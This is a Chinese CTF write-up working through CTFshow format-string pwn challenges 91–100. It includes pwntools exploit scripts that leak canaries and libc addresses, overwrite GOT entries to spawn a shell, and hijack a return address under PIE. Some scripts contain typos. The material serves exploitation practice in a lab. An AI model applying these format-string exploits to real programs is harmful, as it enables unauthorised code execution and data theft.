1、pwn91
前言
之前格式化字符串没有学好,现在来重新学一学


32位开了Canary和NX
运行一下

有一个输入,然后会输出一个daniu,去看看代码
main函数:
unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]
//v2可能是canary
v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
//下面的输入并不会造成栈溢出
read(0, s, 0x50u);
//漏洞就在下方,此时的s是可以控制的
printf(s);
printf(“daniu now is :%d!\n”, daniu);
return __readgsdword(0x14u) ^ v2;
}
我们需要看看ctfshow函数具体有什么功能:
unsigned int ctfshow()
{
char s[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v2; // [esp+5Ch] [ebp-Ch]
//v2可能是canary
v2 = __readgsdword(0x14u);
memset(s, 0, sizeof(s));
//下面的输入并不会造成栈溢出
read(0, s, 0x50u);
//漏洞就在下方,此时的s是可以控制的
printf(s);
printf("daniu now is :%d!\n", daniu);
return __readgsdword(0x14u) ^ v2;
}
因为printf会从栈上读取要输出的内容,所以我们可以控制format string让它输出特定位置的东西
常见的漏洞:
printf(user_input); // ❌ 直接把用户输入作为 format string
printf(buf); // ❌ buf 中内容完全可控
fprintf(stderr, buf); // ❌ 同理
snprintf(dst, n, buf); // ❌ 格式化目标攻击
格串漏洞的利用:
任意读
%x / %p 泄露栈信息
输入:
AAAA %p %p %p %p
printf 会把某些栈内容泄露出来,可以找到 libc 地址、canary、返回地址等。
任意地址读(最常用)
我们可以让 printf 把某个地址当作字符串指针:
printf("%s", some_address);
如果 format string 可控,可以写成:
AAAA %7$s BBBB
并且在参数位置放入你想读的地址:
payload = b"A" * offset + p64(target_addr)
任意写(核心:%n / %hn / %hhn)
格式化字符串利用最核心的能力是:
%n 把已经打印的字节数写到指定地址(int)
%hn 2 字节
%hhn 1 字节(精确控制)
比如说:
printf("123456%n", &x);
执行后:
x = 6
利用方式:
- 把目标地址(如 GOT 表项)写到栈上可被访问的位置(如第 7 个参数)
- 构造格式串调用 %n 往那地址写数据
继续pwn91
最后让daniu == 6
danniu在这个位置:

danniu=0x804B038
我们先利用任意读看看偏移:

数一下是在第7个位置,就是数是第几个地址
也可以用任意读验证:

有点生疏呢,用熟悉就好啦,验证成功,偏移是7
我们现在需要向有地址的地方写入六,目前看到的是手搓和利用用pwntools模块中的fmtstr模块直接进行改写
先来手搓吧:
32位的地址是4字节,在偏移为7的位置地址有4位,可以用任意写(%7$n),把这个位置的地址长度写入然后加上2个字节就是六个字节,可以写成’aa%7$n’或’%2c%7$n’
试一试:
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28217)
payload=p32(0x804B038)+b'aa%7$n'
p.sendline(payload)
p.interactive()

试试fmtstr模块
这个模块之前用来改过地址,但是有些忘了,需要看看参数:
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
writes(指定你要写哪些地址 + 写什么) 比如 0x601028: 0xdeadbeef
numbwritten是已经打印了多少字符,默认是0
write_size(指定写入粒度:byte/short/int) short注意是2字节
欧克这道题就该写成
fmtstr_payload(7,{0x804B038:6})
ok,试一试:
from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28217)
#payload=p32(0x804B038)+b'aa%7$n'
payload=fmtstr_payload(7,{0x804B038:6})
p.sendline(payload)
p.interactive()

2、pwn92
可能上一题没太看懂?来看下基础吧

checskec:

64位got表不可改,开了canary和nx还有地址随机化
我们运行一下看看:
faetong@faetong-virtual-machine:~/pwnit$ ./pwn92
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Format_String
* Site : https://ctf.show/
* Hint : Look at the difference !
* *************************************
Here is some example:
Hello CTFshow %
Hello CTFshow!
Num : 114514
Format Strings
A
Hello
A
Hello!
Strings Format
�
/ctfshow_flag: No such file or directory.
好像就是一段演示,输出了很多种字符串,一会儿nc一下就有flag了
先来看看怎么回事,分析一下 代码:
main函数:
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("Here is some example:");
//展示一些例子
example();
flagishere();
return 0;
}
example:
unsigned __int64 example()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
//v2应该是canary
v2 = __readfsqword(0x28u);
//%% → 输出一个字面量 %
//输出:Hello CTFshow %
printf("Hello CTFshow %%\n");
//puts会自动添加\n
puts("Hello CTFshow!");
//整数
printf("Num : %d\n", 114514);
//%s 按照顺序读取两个参数
//输出:Format Strings
printf("%s %s\n", "Format", "Strings");
//%c 打印一个字符
//65 = ASCII ‘A’
//%12c 表示宽度为 12 → 左边补空格
printf("%12c\n", 65);
//同理换成了字符串
printf("%16s\n", "Hello");
//先打印 宽度为 12 的 'A' → 打印 12 字节
//%n 会把 当前已输出的字符数写入 v1
//然后再打印一个 \n
printf("%12c%n\n", 65, &v1);
//同理上面换成字符串
printf("%16s%n\n", "Hello!", &v1);
//位置参数
//%1$s → 第一个参数 → "Format"
//%2$s → 第二个参数 → "Strings"
//实际输出是把两个参数顺序反过来
printf("%2$s %1$s\n", "Format", "Strings");
//%42c → 打印 42 字节(空格 + 一个字符?)
//%1$n → 向第 1 个参数指向的地址写入“已经打印的字节数”
printf("%42c%1$n\n", &v1);
return __readfsqword(0x28u) ^ v2;
}
接下来是flagishere函数:
unsigned __int64 flagishere()
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[10]; // [rsp+16h] [rbp-5Ah] BYREF
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u);
//下面是一个文件操作
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
//读入s
fgets(s, 64, stream);
printf("Enter your format string: ");//此时我们需要让它以字符串形式输出
__isoc99_scanf("%9s", format);
printf("The flag is :");
printf(format, s);
return __readfsqword(0x28u) ^ v4;
}
就输入%s就行啦

3、pwn93
emmm,再来一道基础原理?


64位开了canary,NX,PIE,运行一下:

看不懂英文,看看代码吧:
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
menu();
puts("Enter your choice: ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
func1();
break;
case 2:
func2();
break;
case 3:
func3();
break;
case 4:
func4();
break;
case 5:
func5();
break;
case 6:
nothing_here();
break;
case 7:
exit0();
break;
default:
puts("Invalid choice. Please enter a valid option.");
break;
}
return 0;
}
func1
.text:0000000000000A87 public func1
.text:0000000000000A87 func1 proc near ; CODE XREF: main+89↓p
.text:0000000000000A87 ; __unwind {
.text:0000000000000A87 000 55 push rbp
.text:0000000000000A88 008 48 89 E5 mov rbp, rsp
.text:0000000000000A8B 008 48 8D 3D BE 08 00 00 lea rdi, aSSSSSSSSSSSSSS ; "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%"...
.text:0000000000000A92 008 B8 00 00 00 00 mov eax, 0
.text:0000000000000A97 008 E8 E4 FC FF FF call _printf
.text:0000000000000A97
.text:0000000000000A9C 008 90 nop
.text:0000000000000A9D 008 5D pop rbp
.text:0000000000000A9E 000 C3 retn
.text:0000000000000A9E ; } // starts at A87
.text:0000000000000A9E
.text:0000000000000A9E func1 endp
.text:0000000000000A9E
.text:0000000000000A9F
em…似乎就是崩溃的原因呢,只有format没有参数
func2
int __fastcall func2(__int64 a1, int a2, int a3, const void *a4, const void *a5, const void *a6)
{
//%08x:以 8 位十六进制 输出 a2,不足 8 位时左侧补 0
//%07x:以 7 位十六进制 输出 a3,不足 7 位时左侧补 0
//%p:以 指针格式 输出 a4, a5, a6
return printf("%08x-%07x-%p-%p-%p", a2, a3, a4, a5, a6);
}
可以运行看看

public func3
.text:0000000000000AB7 func3 proc near ; CODE XREF: main+A1↓p
.text:0000000000000AB7 ; __unwind {
.text:0000000000000AB7 000 55 push rbp
.text:0000000000000AB8 008 48 89 E5 mov rbp, rsp
.text:0000000000000ABB 008 48 8D 3D D6 08 00 00 lea rdi, aAaaaPPPPPPPPPP ; "AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%"...
.text:0000000000000AC2 008 B8 00 00 00 00 mov eax, 0
.text:0000000000000AC7 008 E8 B4 FC FF FF call _printf
.text:0000000000000AC7
.text:0000000000000ACC 008 90 nop
.text:0000000000000ACD 008 5D pop rbp
.text:0000000000000ACE 000 C3 retn
.text:0000000000000ACE ; } // starts at AB7
.text:0000000000000ACE
.text:0000000000000ACE func3 endp
这个就是利用任意读读取地址
func4
unsigned __int64 func4()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
//%0134512640d输出一个整数 1,宽度为 134512640字符,不足部分用 0填充
//%n往v1处写入134512640
printf("%0134512640d%n\n", 1, &v1);
return __readfsqword(0x28u) ^ v2;
}
func5
unsigned __int64 func5()
{
int v1; // [rsp+1h] [rbp-2Fh] BYREF
__int64 v2; // [rsp+8h] [rbp-28h] BYREF
__int64 v3; // [rsp+10h] [rbp-20h] BYREF
char Hello_CTFshow[14]; // [rsp+1Ah] [rbp-16h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
strcpy(Hello_CTFshow, "Hello CTFshow");
//%hhn:将 printf 输出的字符数量(字符数)写入 *(unsigned char *)(&v1)
//也就是说只写入 v1 变量的一个字节。
printf("%s %hhn\n", Hello_CTFshow, &v1);
//%hn:将输出字符数量写入 *(unsigned short *)(&v1 + 1字节)
//写入 v1 的中间两个字节。
printf("%s %hn\n", Hello_CTFshow, (int *)((char *)&v1 + 1));
//%n:写入一个 4 字节 int
//目标地址是 v1 的 (char*)&v1 + 3 位置
//这会覆盖 v1 末尾 1 字节 + 溢出到后面的栈变量!具有危险性。
printf("%s %n\n", Hello_CTFshow, (int *)((char *)&v1 + 3));
//%ln:写入 long(8字节)写入到 v2
printf("%s %ln\n", Hello_CTFshow, &v2);
//%lln:写入 long long(8字节)写入到 v3
printf("%s %lln\n", Hello_CTFshow, &v3);
return __readfsqword(0x28u) ^ v5;
}
可以运行一下看:

exit0:
unsigned __int64 exit0()
{
FILE *stream; // [rsp+8h] [rbp-58h]
char s[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
stream = fopen("/ctfshow_flag", "r");
if ( !stream )
{
puts("/ctfshow_flag: No such file or directory.");
exit(0);
}
fgets(s, 64, stream);
printf("%s", s);
return __readfsqword(0x28u) ^ v3;
}
就是nc拿flag啦

4、pwn94

32位开了NX

很明显的格式化字符串漏洞
这道题其实就用前面的fmtstr模块把printf_got改为system_plt就可以实现在执行printf()时调用system,我们发送参数’/bin/sh\x00’后就可以getshell了

偏移量是6
from pwn import*
context.log_level='debug'
#p=process("./pwn94")
p=remote("pwn.challenge.ctf.show",28180)
elf=ELF("./pwn94")
printf_got=elf.got['printf']
sys_plt=elf.plt['system']
payload=fmtstr_payload(6,{printf_got:sys_plt})
p.sendline(payload)
p.recv()
p.sendline(b'/bin/sh\x00')
p.interactive()
~

5、pwn95(加大了一点点难度,不过对你来说还是so easy 吧)


格式化字符串漏洞
查找偏移:

偏移是6,首先想到用system_plt覆盖printf_got,但是这道题没有system函数,我们需要先泄露libc
from pwn import *
context(arch='i386',log_level='debug')
#p=process("./pwn95")
p=remote("pwn.challenge.ctf.show",28257)
elf=ELF("./pwn95")
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
p.send(payload)
printf = u32(p.recvuntil('\xf7')[-4:])
print(hex(printf))
p.interactive()


下载一个合适的在本地然后就和之前一样了
好巧不巧,这个网站似乎不太靠谱了,只能试试LibcSearcher
from pwn import *
from LibcSearcher import *
context(arch='i386',log_level='debug')
#p=process("./pwn95")
p=remote("pwn.challenge.ctf.show",28257)
elf=ELF("./pwn95")
#libc=ELF("./libc-2.34.so")
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
p.send(payload)
printf = u32(p.recvuntil('\xf7')[-4:])
print(hex(printf))
#base=printf-libc.sym['printf']
#system=base+libc.sym['system']
libc = LibcSearcher('printf',printf)
libc_base = printf - libc.dump('printf')
system = libc_base + libc.dump('system')
payload=fmtstr_payload(6,{printf_got:system})
p.send(payload)
p.sendline(b'/bin/sh')
p.recv()
p.interactive()

6、pwn96


这里有格式化字符串漏洞,我们可以看看偏移

他直接执行完了,因为我们本地没有这个文件,远程运行一下

但是其实让他格式化输出就是有flag,只是是倒序的,我感觉有点阴啊><
ctfshow{ }转换成16进制倒序看看

63 74 66 73 68 6f 77
倒序就是0x73667463 0x7b776f68
然后{ }的16进制是7b和7d,找到范围后直接手动换一下就行
0x73667463-0x7b776f68-0x34323034-0x38376165-0x6562362d-0x64342d31-0x382d3039-0x2d386562-0x38646537-0x32363165-0x30643438-0xa7d
63746673686f777b34303234656137382d366265312d346439302d386265382d3765643865313632383464307d

7、pwn97(覆写某个值满足某条件好像就可以了)

32位canary、NX

有格式化字符串漏洞

找一下偏移是11
想要拿到flag需要升级权限:

这里有一个check需要check为真,就是值不为0,我们通过格式化字符串漏洞去改写check的值
check在0x804B040,利用fmtstr把这个位置改为2

from pwn import*
context.log_level='debug'
#p=process("./pwn97")
p=remote('pwn.challenge.ctf.show',28250)
check=0x804B040
offset=11
payload=fmtstr_payload(11,{check:2})
p.send(payload)
p.interactive()

8、pwn98(Canary?有没有办法绕过呢?)

确实有canary保护

有/bin/sh字符串
有一个check,我们需要绕过canary保护执行这里就能getshell

最后返回的是canary和v2的与值,相同就可以通过保护返回我们想到的地址
printf那里是明显的格式化字符串漏洞,当然绕过以后可以利用栈溢出漏洞,也许可以泄露canary

偏移量是5,但是我们要的是canary,低字节为00,我们用%x来泄露
s到栈顶的距离是0x34,canary距离ebp 0cx,算下来是(0x34-0xc)/4+5=15
canary在第15个参数
from pwn import *
context.log_level='debug'
#p=process("./pwn98")
p=remote("pwn.challenge.ctf.show",28202)
check=0x80486CE
payload="%15$x"
p.recv()
p.sendline(payload)
res=p.recv()
canary=int(res,16)
print(f'canary: {hex(canary)}')
p.interactive()

接下来再加上栈溢出就可以了
from pwn import *
context.log_level='debug'
#p=process("./pwn98")
p=remote("pwn.challenge.ctf.show",28202)
check=0x80486CE
payload="%15$x"
p.recv()
p.sendline(payload)
res=p.recv()
canary=int(res,16)
print(f'canary: {hex(canary)}')
payload1=b'a'*(0x34-0xc)+p32(canary)+b'a'*0xc+p32(check)
p.sendline(payload1)
p.interactive()

9、pwn99
fmt盲打(不是忘记放附件,是本身就没附件!!!)
连上以后说Hint : Flag is on Stack !
什么鬼,还有日语

原来是火影里面的你也想起舞吗
有点乱,换成x

还是格式化字符串漏洞,我们可以利用任意读在栈上读取flag
还是写一个脚本去泄露吧
from pwn import *
context.log_level = 'error'
def send_payload(payload):
p=remote("pwn.challenge.ctf.show",28170)
p.recv()
p.sendline(payload)
res=p.recvuntil(b"\n",drop=True)
if res.startswith(b"0x"):
print(p64(int(res,16)))
p.close()
i=1
while 1:
payload='%{}$p'.format(i)
send_payload(payload)
i=i+1


但是两次跑出来都不一样,有点怪怪的,但是拼接起来就是全的
10、pwn100
有些东西好像需要一定条件

64位,保护开的吓人
进去首先是一个输入时间的环节

暂时没有利用的
leak:

buf指针处读1字节输出,看能不能控制buf指针
接下来看看fmt_attack
unsigned __int64 __fastcall fmt_attack(int *a1)
{
char format[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(format, 0, 0x30u);
//下面这个判断就是看这个函数有没有被使用过
if ( *a1 > 0 )
{
puts("No way!");
exit(1);
}
//似乎只能使用一次
*a1 = 1;
read_n(format, 40, format);
printf(format);//格式化字符串漏洞
return __readfsqword(0x28u) ^ v3;
}
有一个想想软软的格式化字符串漏洞,但是只能使用一次,如果能控制*a1就好了
我们可以在给*a1赋值的地方下一个断点看看
来看看比较关心的get_flag
void __noreturn get_flag()
{
char *v0; // rdx
int fd; // [rsp+Ch] [rbp-64h]
char s2[88]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int64 v3; // [rsp+68h] [rbp-8h]
v3 = __readfsqword(0x28u);
memset(s2, 0, 0x50u);
puts("Flag is here ! Come on !!");
read_n(s2, 64, v0);
//我们得知道secret
if ( !strncmp(secret, s2, 0x40u) )
{
close(1);
fd = open("/flag", 0);
read(fd, s2, 0x50u);
printf(s2);//也有一个格式化字符串漏洞
exit(0);
}
puts("No way!");
exit(1);
}
那目前我们想要fmt_attack可以重复利用,泄露我们想要的东西或者跳转执行
我们看汇编里面

赋值的地址是0x000EA9,我们可以下一个断点在0x000EA5,也可以直接断在fmt_attack
这里的话如果调试没有学号就会有个坑,程序开了pie我们打断点需要知道基址
我们先start让程序跑起来,然后piebase看看基址再打断点就正常了


RAX: 0x7fffffffde6c <- 1

rax的值是0x7fffffffde10,就是伪代码里面a1的地址
随后我们需要看看printf处的偏移,直接运行过去

偏移需要加上64位传参的6个寄存器,偏移为7,我们使用%7$n可以修改a1的值为0就可以重复利用
好啦,重复利用的问题解决了,接下来我们要跳转执行后门函数,之前分析,我们需要跳转到close之后,但是有canary保护
一种解法就是劫持 fmt_attack 的返回地址 → 控制 RIP
利用pie的特性,实际地址=piebase+偏移,而且只需要修改低2字节
这个就是 partial overwrite
也就是我们只需要需改低2字节就可以
piebase其实我们已经知道了0x555555400000

我们需要跳到0x000F56+0x555555400000=0x5555 5540 0F56
但是现在不知道在哪个位置写,还需要调试看看
现在还是运行到printf的位置
我们先运行看看刚刚修改a1=0的效果
from pwn import *
context(arch='amd64',log_level='debug')
p=remote("pwn.challenge.ctf.show",28203)
#p=prosecc("./pwn100")
def time_start():
p.sendlineafter('What time is it :',b'1 1 1')
def fmt_attack(payload):
p.sendlineafter('>>',str(2))
p.sendline(payload)
payload1=b'%7$n'
paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
修改a1
fmt_attack(payload1)
第二次利用检验修改
fmt_attack(paylaod2)
p.interactive()

可以发现我们利用成功
接下来我们需要泄露返回地址,方便等会儿利用
我们调试程序到printf处
得到当前函数 fmt_attack 的RBP

调用栈:

现在看看main函数的汇编,需要知道main函数的变量大小

0x20
我们分析一下栈
- 高地址
- main_rbp(0x8)
- main变量(0x20)
- fmt_attack返回地址
- fmt_attack_rbp
- fmt_attack变量
- 低地址
所以很清晰ret_addr=mian_rbp-0x28
我们要把rbp泄露出来,其实动动脑子,偏移是0xa+6=16
from pwn import *
context(arch='amd64',log_level='debug')
p=remote("pwn.challenge.ctf.show", 28223)
#p=process("./pwn100")
def time_start():
p.sendlineafter('What time is it :',b'1 1 1')
def fmt_attack(payload):
p.sendlineafter('>>',str(2))
p.sendline(payload)
#elf_base=0x555555400000
#payload1=b'%7$n'
#paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
#修改a1
#fmt_attack(payload1)
#第二次利用检验修改
#fmt_attack(paylaod2)
#p.interactive()
#泄露出返回地址,偏移16,'-'是标志
payload3=b'%7$n-%16$p'
fmt_attack(payload3)
p.recvuntil('-')
main_rbp=int(p.recvuntil('\n')[:-1],16)
ret_addr=main_rbp-0x28
print(hex(ret_addr))

接下来就要计算elf基址,但是我们一开始就知道了呀,直接就是:0x555555400000
计算elf基址,因为有pie

我们看到这个jump,是printf之后的jump
看看main的汇编就知道偏移是0x0102

接收到的实际地址(偏移为17)=elf_base-0x0102
所以
#计算elf基址
payload4=b'%7$n+%17$p'
fmt_attack(payload4)
p.recvuntil('+')
ret_value = int(p.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
print(hex(elf_base))
最后直接来到修改返回地址的任意写部分
我们要用%hn(0x0~0xffff)来写入两字节,而且是低2字节
而我们写进去以后需要考虑ret_addr传进去时应该字栈上的那个位置,我们把ret_addr换成AAAAAAAA
from pwn import *
context(arch='amd64',log_level='debug')
#p=remote("pwn.challenge.ctf.show",28203)
p=process("./pwn100")
def time_start():
p.sendlineafter('What time is it :',b'1 1 1')
def fmt_attack(payload):
p.sendlineafter('>>',str(2))
p.sendline(payload)
#elf_base=0x555555400000
#payload1=b'%7$n'
#paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
#修改a1
#fmt_attack(payload1)
#第二次利用检验修改
#fmt_attack(paylaod2)
#p.interactive()
#泄露出返回地址,偏移16,'-'是标志
payload3=b'%7$n-%16p'
fmt_attack(payload3)
p.recvuntil('-')
ret_addr=int(p.recvuntil('\n')[:-1],16)
print(hex(ret_addr))
#计算elf基址
payload4=b'%7$n+%17p'
fmt_attack(payload4)
p.recvuntil('+')
ret_value = int(p.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
print(hex(elf_base))
p.recvuntil('>>')
p.sendline(str(2))
#检验ret_addr在栈上的位置
payload5=(b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%1$hn').ljust(0x10,b'a') + b'AAAAAAAA'
gdb.attach(p)
pause()
p.sendline(payload5)
pause()
先n,然后再原来窗口任意键,n进步到printf

4+6=10的参数位置
接下来改成c%10$hn就行
from pwn import *
context(arch='amd64',log_level='debug')
p=remote("pwn.challenge.ctf.show", 28223)
#p=process("./pwn100")
def time_start():
p.sendlineafter('What time is it :',b'1 1 1')
def fmt_attack(payload):
p.sendlineafter('>>',str(2))
p.sendline(payload)
#elf_base=0x555555400000
#payload1=b'%7$n'
#paylaod2=b'%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
time_start()
#修改a1
#fmt_attack(payload1)
#第二次利用检验修改
#fmt_attack(paylaod2)
#p.interactive()
#泄露出返回地址,偏移16,'-'是标志
payload3=b'%7$n-%16$p'
fmt_attack(payload3)
p.recvuntil('-')
main_rbp=int(p.recvuntil('\n')[:-1],16)
ret_addr=main_rbp-0x28
print(hex(ret_addr))
#计算elf基址
payload4=b'%7$n+%17$p'
fmt_attack(payload4)
p.recvuntil('+')
ret_value = int(p.recvuntil('\n')[:-1],16)
elf_base = ret_value - 0x102c
print(hex(elf_base))
# p.recvuntil('>>')
# p.sendline(str(2))
#检验ret_addr在栈上的位置
#payload5=(b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%1$hn').ljust(0x10,b'a') + b'AAAAAAAA'
payload5=(b'%'+str((elf_base+0xf56)&0xffff).encode()+b'c%10$hn').ljust(0x10,b'a') +p64(ret_addr)
#gdb.attach(p)
#pause()
fmt_attack(payload5)
#pause()
flag=p.recvuntil('\n')
print(flag)
print(hex(ret_addr))
print(hex(elf_base))











